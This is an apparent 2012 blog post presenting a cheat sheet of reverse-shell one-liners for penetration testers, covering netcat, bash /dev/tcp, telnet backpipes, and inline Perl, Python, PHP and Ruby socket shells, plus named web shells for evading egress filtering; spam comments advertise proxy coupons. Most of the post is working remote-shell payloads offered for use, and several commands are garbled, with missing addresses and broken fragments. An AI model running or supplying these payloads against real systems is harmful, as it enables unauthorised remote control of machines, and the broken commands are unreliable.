Friday, January 20, 2012


I previously gave you an introduction into NETCAT and how it can be used to do all kinds of neat things, especially for making connections. I showed you how it can be used to spawn a command shell while making BIND connections as well as while making BACK-CONNECT or REVERSE connections. Now in some cases your netcat attempts will simply fail due to one reason or another and you need to be prepared with a few alternative methods to still get the job done. A good friend of mine recently shared a list he put together from posts and comments scattered across the net. The list was so good I couldn't help but share so others can beneift from this as well. Here are a few alternative methods you can try when your standard connections from your web based shells or netcat just dont seem to be working.

TARGET: nc 8080 -e /bin/bash
ATTACKER: nc -n -vv -l -p 8080

TARGET: mknod backpipe p && nc 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

3. Don’t have NETCAT, then try the /dev/tcp socket method
TARGET: /bin/bash -i > /dev/tcp/ 0<&1 2>&1
ATTACKER: nc -n -vv -l -p 8080

4. Don’t have access to NETCAT or  dev/tcp? We can try using a telnet and backpipe to execute commands, like so:
TARGET: mknod backpipe p && telnet 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

5. Telnet – Plan B method using piped connections
TARGET: telnet 8080 | /bin/bash | telnet 8888
ATTACKER: nc -n -vv -l -p 8080
ATTACKER2: nc -n -vv -l -p 8888

6. Using straight BASH
bash -i >& /dev/tcp/ 0>&1

7. Inline Perl
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

8. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

9. Inline PHP
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

10. Ruby
ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

11. Using Xterm (if available)
xterm -display

12. A few Web Shells that have some cool connection and bypassing features built into them:
·         Priv8-2012 PHP web based shell which can be downloaded from packetstorm:
o   Might need to review the code for a backdoor near top, be warned!
·         Php-findsock-shell- designed to bypass egres filtering, available here:
·         Weevely- avoid bind shell/reverse shell via console over HTTP communication channel, available here:
·         WeBaCoo – (One of My Favorites) – uses HTTP communication channel and passes commands through cookie parameter. Need to chain commands though due to the nature of it as you cant change directories, available here:
Do you have another method which is not listed here? Please let me know by posting a comment or shooting me a message privately as we would like to build this up to be the best online reference out there.

If these methods don’t help you then I am not sure what will. I hope you find this information useful and I hope for at least one person this makes the difference from a mildly successful pentest to an all-out success! Until next time, Enjoy!

Special shout-out to CHEATSON for helping to put this reference material together in one spot!


  1. If you need a good proxy provide try this guys coupons
    Cupon "GP50" for 50% discount on Backconnect Proxies all types.
    Cupon "GP25" for 25% discount on Dedicated Private and Shared.

  2. great information, i would like to share some information regarding offensive and defensive security, please visit us at for more information.